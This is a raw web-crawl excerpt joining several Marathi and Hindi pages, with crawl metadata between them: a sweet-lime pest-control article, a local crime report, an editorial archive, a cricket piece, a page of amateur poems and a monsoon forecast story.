लाल आणि गळ्यावर काळे पटटे असतात.\nगळालेली फळे गोळा करून जमिनीत पुरावीत.\nझाडाखाली हिरवी फळे ठेवून त्यावर छिद्र केल्यास त्याकडे माशा आकर्षित होऊन अंडी देतात. अशी अंडीग्रस्त फळे ठराविक काळानंतर नष्ट करावीत.\nफळे पिकण्याच्या दोन महिन्यांपूर्वी १० दिवसांच्या अंतराने फवारणी\nमॅलॅथिऑन अर्धा मिलि अधिक १०० ग्रॅम गूळ प्रति लिटर\nनर माशांना आकर्षित करण्यासाठी मिथाईल यूजिनाॅल १ मि.लि. अधिक मॅलेथिऑन अर्धा मि.लि. हे रुंद तोडांच्या बाटलीत भरून बागेत ठेवावे. फळ तोडणीच्या ६० दिवस आधीपासून २५ बाटल्या प्रति हेक्टरी बागेत ठेवाव्यात. या मिश्रण दर सात दिवसांनी बदलावे.\nसंपर्क : डॉ. एम. बी. पाटील, ७५८८५९८२४२\n(लेखक मोसंबी संशोधन केंद्र, बदनापूर, जि. जालना येथे प्रभारी अधिकारी आहेत.)\nयुरिया urea मोसंबी sweet lime लेखक\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00171.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/Atrocity-against-a-minor-girl/", "date_download": "2018-09-25T16:57:34Z", "digest": "sha1:M7ORRMXSQUV666DWOFXSWAUD66EM6FSZ", "length": 5907, "nlines": 52, "source_domain": "www.pudhari.news", "title": " पिंपळगाव (धस) येथे अल्पवयीन मुलीवर अत्याचार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › पिंपळगाव (धस) येथे अल्पवयीन मुलीवर अत्याचार\nपिंपळगाव (धस) येथे अल्पवयीन मुलीवर अत्याचार\nबार्शी : तालुका प्रतिनिधी\nघरात कोणी नसल्याची संधी साधून घरात घुसून धमकावत तोंडावर ओढणीचा बोळा घालून अल्पवयीन बारा वर्षीय मुलीवर अत्याचार केल्याची घटना पिंपळगाव -धस ( ता. बार्शी) येथे घडली. सुदाम बाबासाहेब मस्तुद (वय 20, रा. पिंपळगाव-धस) असे अल्पवयीन मुलीवर अत्याचार केल्याप्रकरणी पांगरी पोलिसांत गुन्हा दाखल करण्यात आलेल्याचे नाव आहे.\nपीडितेच्या पित्याने याबाबत पांगरी पोलिसांत दिलेल्या फिर्यादीत म्हटले आहे की, त्यांची पत्नी मजुरीसाठी गेली होती. फिर्यादी हे शेळ्या चारण्यासाठी गेले होते. दुपारी 12.45 वाजण्याच्या सुमारास शेळ्या घेऊन घरी आले असता मुलीस घराचा दरवाजा उघडण्यास सांगितले. दरम्यान, मुलीने काही कलावधीनंतर दरवाजा उघडला असता सुदाम मस्तुद हा घरातील कॉटखाली आढळून आला. फिर्यादीने तू येथे काय करतोयस, असे विचारले असता तो फिर्यादीस धक्‍का मारून पळून गेला.\nफिर्यादीने मुलीस याबाबत विचारले असता ती घरात टीव्ही पाहात असताना मस्तुद याने घरात येऊन घराचा दरवाजा बंद करून तिच्या तोंडात ओढणीचा बोळा घालून अत्याचार\nछ. कल्पनाराजे भोसले यांची जमीन बनावट खरेदी दस्त करून लाटल्याप्रकरणी गुन्हा\nरिधोरेत घरफोडी; पावणेदोन लाखांचा ऐवज लंपास\nडॉक्टर मुलाचे अपहरण करुन ठार मारण्याची धमकी; चौघांवर गुन्हा दाखल\nसर्व्हिस सेंटरला आग : लाखोंचे नुकसान\nनेहरु व सावित्रीबाई वसतिगृहांतील विद्यार्थ्यांची हजाराने भाडेवाढ होणार\nपैसे घेऊन चारचाकी गाडी दिलीच नाही; तिघांविरुद्ध फसवणुकीचा गुन्हा\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00171.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/agralekh/page/20", "date_download": "2018-09-25T17:17:44Z", "digest": "sha1:QTTWX3VO7TTODOX7YQVGR4POAWVURAIH", "length": 9227, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "संपादकिय / अग्रलेख Archives - Page 20 of 264 - तरुण भारत | तरुण भारत", "raw_content": "\nचारित्र्य हेच श्रे÷ भूषण\nऐश्वर्यस्य विभूषणं सुजनता शौर्यस्य वाक्संयमो ज्ञानस्योपशमःश्रुतस्य विनयो वित्तस्य पात्रे व्ययः अक्रोधस्तपसः क्षमा प्रभवितु र्धर्मस्य निर्व्याजता सर्वेषामपि सर्वकारणमिदं शीलं परं भूषणम् अक्रोधस्तपसः क्षमा प्रभवितु र्धर्मस्य निर्व्याजता सर्वेषामपि सर्वकारणमिदं शीलं परं भूषणम् अन्वय- ऐश्वर्यस्य विभूषणं सु जनता (अस्ति) शौर्यस्य (च) वाक् संयमः, ज्ञानस्य (विभूषणम्) उपशमः श्रुतस्य विनयः, पात्रे व्ययः वित्तस्य (विभूषणम्) तपसः अक्रोधः प्रभवितुः क्षमा (तथा च) धर्मस्य निर्व्याजता (विभूषणम्) अस्ति/(किंतु) सर्वेषाम् अपि (एतेषां) सर्वकारणम् इदं शीलं परं भूषणम् अस्ति ...Full Article\nगुप्त झाला तेव्हां वैकुंठनायक\nगोपींना अभिमान झाला. त्या म्हणाल्या-सर्वच विषयांचा त्याग करून आम्ही श्रीकृष्णापाशी आलो आहोत. गोपींमधे अभिमान कुठून आला अहो तो तर सूक्ष्म रूपाने त्यांच्या मनांत लपलेलाच होता. मनुष्याला वाटत असते की ...Full Article\n‘ऑपरेशन कमळ’ तूर्तास लांबणीवर\nकर्नाटकातील युती सरकारला सुरुंग लावण्याचा मुहूर्त कधीचा ठेवायचा यासंबंधी चर्चा झाल्याची माहिती मिळाली आहे. पक्षाध्यक्षांनी या प्रयत्नांना तात्पुरती स्थगिती दिली आहे. त्यामुळेच ‘ऑपरेशन कमळ’ तूर्त लांबणीवर पडले आहे. ...Full Article\nअन्न ही मानवी समाजाची मूलभूत गरज असून मानव जेव्हा आदिम अवस्थेत होता तेव्हा प्रतिकूल परिस्थितीत आपली भूक शमविण्यासाठी नानाविध प्राण्यांचे कच्चे मांस आणि निसर्गात उपलब्ध असलेल्या फळांद्वारे उपलब्ध घटकांचा ...Full Article\nजवळपास 80 वर्षांचा सामाजिक, राजकीय प्रवास करून एम. करुणानिधी नावाचे एक वादळ अखेर धरणीमातेच्या कुशीत स्थिरावले आहे. आपली भाषा, आपली संस्कृती यांचा अभिमान सांगत समस्त द्रविडी जनतेच्या मनावर राज्य ...Full Article\nरिटायर झाल्यावर हरिदासने कविता लिहायला सुरुवात केली. त्या कविता काही संपादकांना पाठवल्या. संपादकांनी त्या परत केल्या किंवा केराच्या टोपलीत टाकल्या. मग हरिदासला फेसबुकचा शोध लागला. त्याने आपल्या कविता फेसबुकवर ...Full Article\nभागवताचार्य वै. डोंगरे महाराज सांगतात-सांसारिक धर्माचा त्याग करून प्रभूकडे जाणे हाच तर जीवाचा धर्म आहे. देहभाव, पुरुषत्व, स्त्रीत्वाचा भाव हेच तर प्रभूमीलनात बाधक आहेत. असे देहभाव सोडल्याशिवाय जीव ईश्वराजवळ ...Full Article\nआलिशान कारची अन्य राज्यात नोंदणी ठरणार महाग\nगोव्यात आलिशान कार खरेदी करणाऱयांची संख्या लक्षणीय आहे. आलिशान कार खरेदी केल्यानंतर लाखोचा कर चुकविण्यासाठी, या कारची नोंदणी इतर राज्यात करण्याचे प्रकार सुरू झाले आहेत. याची गंभीर नोंद सरकार ...Full Article\nवाढीव ग्रॅच्यूइटीचा फायदा देताना काहींवर अन्याय\nराज्यकर्त्यांना माय बाप सरकार म्हणण्याची पद्धत आहे. जनतेची काळजी आपल्या मुलांप्रमाणे घेण्याची पूर्वीच्या राजेशाहीपासून प्रथा आहे. त्याप्रमाणे सब का साथ, सब का विकास म्हणणाऱया मोदी सरकारने करमुक्त ग्रॅच्यूइटीची मर्यादा ...Full Article\nधाक नव्हे धडकी भरावी\nबिहारच्या मुझफ्फरपूर आणि उत्तर प्रदेशातील देवारियातील बालिका वसतीगृहांमधील 34 बालिकांवर झालेल्या बलात्काराची दखल घेत सर्वोच्च न्यायालयाने आज या राज्य सरकारांना खडसावले. ‘2004 सालापासून या बालिका वसतीगृहांना तुम्ही पैसे पुरवत ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00171.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://mahasports.co.in/no-chance-for-r-ashwin-ravindra-jadeja-in-2019-worldcup/", "date_download": "2018-09-25T17:02:37Z", "digest": "sha1:3XG2WHLOEK5CCKF7QDFA3GREY6VG4CAR", "length": 9354, "nlines": 65, "source_domain": "mahasports.co.in", "title": "जडेजा अश्विनची वनडे कारकीर्द संपल्यात जमा? -", "raw_content": "\nजडेजा अश्विनची वनडे कारकीर्द संपल्यात जमा\nजडेजा अश्विनची वनडे कारकीर्द संपल्यात जमा\nभारताचे माजी वेगवान गोलंदाज अतुल वासन यांनी आर अश्विन आणि रवींद्र जडेजा या भारतीय फिरकी गोलंदाजांना २०१९ विश्वचषकासाठी भारतीय संघात स्थान मिळणे अवघड आहे असे मत मांडले आहे.\nसध्या भारतीय संघात चायनामन गोलंदाज कुलदीप यादव आणि युजवेंद्र चहल यांनी मागील काही वनडे आणि टी २० सामन्यांमध्ये चांगली कामगिरी केली आहे. त्यामुळेच ते अश्विन आणि जडेजासाठीचा भक्कम पर्याय म्हणून समोर येत आहेत.\nयाबद्दल वासन म्हणाले, ” लोक असे म्हणू शकतात की जडेजा आणि अश्विनला अजूनही संधी आहे, पण जोपर्यंत कुलदीप किंवा चहल दुखापतग्रस्त होत नाहीत तोपर्यंत अश्विन जाडेजाला संधी मिळेल असे मला वाटत नाही.”\nकुलदीप आणि चहलने दक्षिण आफ्रिका दौऱ्यात वनडे मालिकेत ५ सामन्यात मिळून २९ विकेट्स घेण्याची कामगिरी केली आहे. या कामगिरीमुळेच अश्विन आणि जडेजासाठी पुन्हा मर्यादित षटकांच्या भारतीय संघात स्थान मिळवणे अवघड झाले आहे.\nतसेच त्यांचा विकेट्स घेतानाची निडरता बघून अनेक क्रिकेट तज्ज्ञांचे मत आहे की कुलदीप आणि चहलला संघव्यवस्थापनाने आणखी संधी द्यायला हवी. भारताचे गोलंदाजी प्रशिक्षक भारत अरुण यांनीही नुकतेच विधान केले होते की “स्पर्धा अजून संपलेली नाही.”\nदिल्ली आणि जिल्हा क्रिकेट असोसिएशनच्या निवडसमितीचे अध्यक्ष अतुल वासन पुढे म्हणाले, “विदेशी परिस्थितीत फिरकी गोलंदाजी या भारताच्या खऱ्या ताकदीला पाठिंबा दिल्याबद्दल विराट आणि संघ व्यवस्थापनेला श्रेय द्यायला हवे. त्याचबरोबर या दोन्ही व्रिस्ट स्पिनर्सने चांगली कामगिरी केली आहे.”\n” माझ्यामते संघ व्यवस्थापनाने या दोन (कुलदीप आणि चहल) गोलंदाजांना विश्वचषकाला जाण्यापूर्वी ५० ते ६० सामने खेळवले पाहिजे. दक्षिण आफ्रिकेविरुद्ध चौथ्या सामन्यात जरी धावा दिल्या असल्या तरी ते चेंडूला फ्लाईट द्यायला घाबरत नाहीत.”\nकुलदीप आणि चहल या जोडीला कसोटीतही स्थान द्यायला हवे का याविषयी वसान म्हणाले, “त्यात ते एक गूढ स्पिनरप्रमाणे असतील. एक वर्षांपूर्वी कोणीही विचार केला नव्हता की जडेजा आणि अश्विनला त्यांच्या जागेसाठी स्पर्धा करावी लागेल.”\nअश्विन आणि जडेजाचे कसोटी संघात स्थान पक्के आहे. पण त्यांना मर्यादित षटकांच्या क्रिकेटसाठी भारतीय संघातून वगळण्यात आलेले आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00171.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.sahity.com/tag/vishal-muley/", "date_download": "2018-09-25T17:59:36Z", "digest": "sha1:BBAJ7XUZKQ5VEB2OKKVP2RDKDB7F7I3F", "length": 14473, "nlines": 255, "source_domain": "www.sahity.com", "title": "Vishal Muley Archives | Sahity Live :: Sahity.com", "raw_content": "\nरिश्तों में आती दूरियां-विप्पन क्कुमार\nकोमल मन- विपिन कुमार तिवारी\nजाने दो- चेतन वर्मा\nसमृद्धि के दरवाजे-अवध्राम यादव\nचिंता नहीं चिंतन की आवश्यकता-शोभा सृष्टि\nप्यार के तीन रंग-ओम कांति\nतनहा है ये दिल उदास है ये जिंदगी, उसने ऐसे रंग दिखाये आस नही अब जीनेकीं पता नही था मुझे वो इतना बदलेगी, हर ख्वाब मेरा चूर चूर करदेगी पता नही था मुझे वो इतना बदलेगी, हर ख्वाब मेरा चूर चूर करदेगी यादे है कुछ ऐसी आंखे नम है, हरपल उसकी यादोमे मायूस ये दिल है यादे है कुछ ऐसी आंखे नम है, हरपल उसकी यादोमे मायूस ये दिल है सोचता हू आज भी मेरे प्यार मे क्या कमी\nतुझ्या आठवणीत – विशाल परशुराम मुळे\nदूरच्या एक प्रवासासाठी बसमध्ये बसलो होतो भावना माझ्या मनातल्या कागदावरती मांडत होतो ॥ परत झालं नेहमीसारखं डोळ्यांसमोर तुझा चेहरा आला भावना माझ्या मनातल्या कागदावरती मांडत होतो ॥ परत झालं नेहमीसारखं डोळ्यांसमोर तुझा चेहरा आला आठवले तुझे ते शब्द आणि कंठ माझा दाटून आला ॥ आला कंठ दाटून जसा गालांवरून अश्रू ओघळले आठवले तुझे ते शब्द आणि कंठ माझा दाटून आला ॥ आला कंठ दाटून जसा गालांवरून अश्रू ओघळले ओघळलेल्या अश्रूंनी मग भावुक झालेल्या कागदालाही भिजविले ॥ फोनवरील प्रत्येक शब्द तुझा मनाला टोचत होता\nमेरे रंग मे रंगणेवली – विशाल परशुराम मुळे\nमेरे ख्वाबोका वो चेहरा कितना सुंदर है सुंदर है फिर भी कितना लाजवाब है सुंदर है फिर भी कितना लाजवाब है हररोज उसके लिये मै गीत लिखता जाऊ हररोज उसके लिये मै गीत लिखता जाऊ हर गीत मे उसे मै अपने पास पाऊ हर गीत मे उसे मै अपने पास पाऊ भोली है उसकी सुरत मासूम है उसकी आँखे भोली है उसकी सुरत मासूम है उसकी आँखे आती है जब ख्वाबोमे थम जाती है मेरी सांसे आती है जब ख्वाबोमे थम जाती है मेरी सांसे \nकधी येशील – विशाल परशुराम मुळे\nमाझ्यातल्या या वेड्याला समजून केव्हा घेशील प्रिये मी वाट बघतोय आयुष्यात माझ्या कधी येशील प्रिये मी वाट बघतोय आयुष्यात माझ्या कधी येशील श्रावणातल्या पहिल्या पावसात तुझ्यासोबत चिंब भिजायचंय श्रावणातल्या पहिल्या पावसात तुझ्यासोबत चिंब भिजायचंय मिठीत तुला घेऊन माझ्या त्या सरिंनाही लाजवायचंय मिठीत तुला घेऊन माझ्या त्या सरिंनाही लाजवायचंय सुट्टीतला प्रत्येक दिवस तुझ्यासोबत मला जगायचंय सुट्टीतला प्रत्येक दिवस तुझ्यासोबत मला जगायचंय सोबतच्या त्या क्षणांना मनामध्ये मला साठवायचंय सोबतच्या त्या क्षणांना मनामध्ये मला साठवायचंय ठरविलं मी मनोमनी सुख सारं तुला द्यायचंय ठरविलं मी मनोमनी सुख सारं तुला द्यायचंय \nपैसा हवाय की नातं – विशाल परशुराम मुळे\nआयुष्यात माझ्या येताना आधीच ठरवून ये पैसा हवाय की नातं आधीच सांगून दे ॥ निरीक्षण करता जगाचे सर्वजण पैशाला मानतात पैसा हवाय की नातं आधीच सांगून दे ॥ निरीक्षण करता जगाचे सर्वजण पैशाला मानतात लाखो हुंडा देऊनही इथे मुली माहेराला नांदतात ॥ पैशासाठी कधीच मी सर्वकाही करणार नाही लाखो हुंडा देऊनही इथे मुली माहेराला नांदतात ॥ पैशासाठी कधीच मी सर्वकाही करणार नाही नात्यासाठी माझ्या मात्र केल्याबिगर राहणार नाही ॥ पैसा नसला तरी गरजेपुरतं खूप आहे नात्यासाठी माझ्या मात्र केल्याबिगर राहणार नाही ॥ पैसा नसला तरी गरजेपुरतं खूप आहे नातं तुझं जपण्याची पूर्वतयारीही\nप्रेमात पडायचं राहूनच गेलं – विशाल परशुराम मुळे\nबालपण खेळण्यात गेलं तारुण्य जबाबदारीनं हेरलं संस्कार जपलेल्या मनाचं प्रेमात पडायचं राहूनच गेलं ॥ वेडावलेल्या या मनाला कलागुणांनी घेरलं संस्कार जपलेल्या मनाचं प्रेमात पडायचं राहूनच गेलं ॥ वेडावलेल्या या मनाला कलागुणांनी घेरलं कलागुण प्राप्तीसाठी अहोरात्र खपलं कलागुण प्राप्तीसाठी अहोरात्र खपलं संस्कार जपलेल्या मनाचं प्रेमात पडायचं राहूनच गेलं ॥ कलाप्रेमीच्या या आयुष्यात मैत्रिणीही खूप भेटल्या संस्कार जपलेल्या मनाचं प्रेमात पडायचं राहूनच गेलं ॥ कलाप्रेमीच्या या आयुष्यात मैत्रिणीही खूप भेटल्या सरळ मनाच्या या वेड्यानं सर्वांनाच ताई बनविलं सरळ मनाच्या या वेड्यानं सर्वांनाच ताई बनविलं संस्कार जपलेल्या मनाचं प्रेमात पडायचं राहूनच\nमाणूसपण दाखविणारी – विशाल परशुराम मुळे\nलाल झालेल्या सिग्नलवर गाडी मी थांबविली थांबताच माझी गाडी अचानक ती दिसली ॥ चेहरा तिचा कोमल रुमाल ती सावरत थांबताच माझी गाडी अचानक ती दिसली ॥ चेहरा तिचा कोमल रुमाल ती सावरत झाडू हातात घेऊन गार थंडीने कुडकुडत ॥ गाडीच्या माझ्या मी काचा बंद करून होतो झाडू हातात घेऊन गार थंडीने कुडकुडत ॥ गाडीच्या माझ्या मी काचा बंद करून होतो जॅकेट अंगात असूनसुद्धा थंडीने कुडकुडत होतो ॥ रोडवरील सारा कचरा झाडूने ती झाडत होती जॅकेट अंगात असूनसुद्धा थंडीने कुडकुडत होतो ॥ रोडवरील सारा कचरा झाडूने ती झाडत होती गाडी अचानक आल्यावर घाबरून\nसिगरेट एक जहर – रवि कान्त अगृवाल\nदोस्तों आज सुनाता हुं मै आपको आपबीती जो शायद हर सिगरेट पीने वाले पर बीती सिगरेट हैं एक ऐसा जहर जो धीरे धारे दिखाता है अपना कहर जितना रहेंगें इससे दूर बना रहेगा चेहरे का नूर ये अपनी खुशियों को जीवन से हटा देता हैं और उमृ के पलो को घटा देता हैं अाओं इसका\nतिचं आयुष्य – विशाल परशुराम मुळे\nवाटते तिला कधीतरी समजावेंन मी बाबाला, बाबा नसतात समजूतदार आयुष्य मानतात पैशाला ॥ नसतं कुणी तयार तिच्या इच्छा विचारायला, अश्रू येतात डोळ्यांतून नसतं कुणी पुसायला ॥ शिकण्याची तीव्र इच्छा उरी ती दाटून धरते, आवडीच्या त्या पुस्तकांना उराशी कवटाळते ॥ एका क्षणात ती जिवंत असुनी मरते, फांद्या फुटलेल्या स्वप्नांना बेचिराख करते ॥ नावडत्या व्यक्तीसोबत तिला आयुष्य\nमी वाट बघतोय – विशाल परशुराम मुळे\nआयुष्याच्या एका वळणावरती मी तुझी वाट बघतोय फक्त एकदा ये मी वाट बघतोय ॥ अपेक्षा तुझ्याकडून मला एकच असणार तू असावी शांत, निरागस, नसेल राजकुमारी, असावी मनाने सुंदर ॥ नसेल माझ्याकडे सर्व काही तरी सुंदर,नाजूक,कोमल विचार नक्कीच आहे, कर्तृत्वाने भरलेलं मन नक्कीच आहे ॥ नसेल माझ्याकडे सर्व काही तरी भावना समजून घेणारं मन नक्कीच आहे,\nरिश्तों में आती दूरियां-विप्पन क्कुमार\nकोमल मन- विपिन कुमार तिवारी\nजाने दो- चेतन वर्मा\nसाहित्य लाइव पर लेख प्रकाशित करें\nसाहित्य लाइव रंगमंच 2018 प्रतियोगिता Result\nलोकप्रिय और बेहतरीन लेख पढ़े\nसाहित्य लाइव परिवार WhatsApp Group\nसाहित्य लाइव के प्रति अपने विचार दें\nCategories Select Category FAQ Sahity Live Rangmanch Hindi Language Bhojpuri English Gujrati Haryanvi Marathi rajsthani safety Shiksha Vigyan Uncategorized @hi Vayangy आलेख उपन्यास कविताएँ गीत शायरी कहानियाँ ग़जलें ग़जलें धार्मिक कबीर साहिब कुरान गीता यथार्त भगति मार्ग वेद शिव शंकर प्रेरणा स्रोत Quotes अनमोल वचन मेरे विचार बाल साहित्य पंचतंत्र की कहानियाँ बच्चों की कविताएं बच्चों की कहानियां मनोरंजन हँसी मज़ाक राजीव दीक्षित खान-पान और सेहत साहित्य लाइव पत्रिका साहित्य लाइव रंगमंच 2018\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00171.warc.wet.gz", "language": "mr", "language_score": 0.74, "bucket": "all"} {"url": "http://amp.esakal.com/desh/imd-forecasts-average-monsoon-rains-2018-110214", "date_download": "2018-09-25T16:44:41Z", "digest": "sha1:E6Q5ZPA3XHKBTSIUGACHQIXPMC5TSJ55", "length": 8504, "nlines": 54, "source_domain": "amp.esakal.com", "title": "imd forecasts average monsoon rains in 2018 यंदा सरासरीच्या 97 टक्के पाऊस: हवामान खाते | eSakal", "raw_content": "\nयंदा सरासरीच्या 97 टक्के पाऊस: हवामान खाते\nसकाळ वृत्तसेवा | सोमवार, 16 एप्रिल 2018\nनवी दिल्ली: स्कायमेटपाठोपाठ भारतीय हवामान विभागाने (आयएमडी) सुद्धा यंदा सरासरी 97 टक्के पाऊस पडेल असा अंदाज वर्तविल्याने बळीराजा सुखावणार आहे. आयएमडीने पावसाचा पहिला अंदाज वर्तवला असून, हवामान विभागाने आज (सोमवार) पत्रकार परिषद घेऊन पाऊसमान कसा राहिल याबाबतची माहिती दिली.\nगेल्या वर्षी आयएमडीने 96 मिलीमीटर पाऊस पडेल असा अंदाज वर्तवला होता. त्याप्रमाणे पाऊस 95 टक्के पडला होता. यंदाही सरासरी 97 टक्के एवढा पाऊस पडेल असा अंदाज वर्तविला आहे.\nनवी दिल्ली: स्कायमेटपाठोपाठ भारतीय 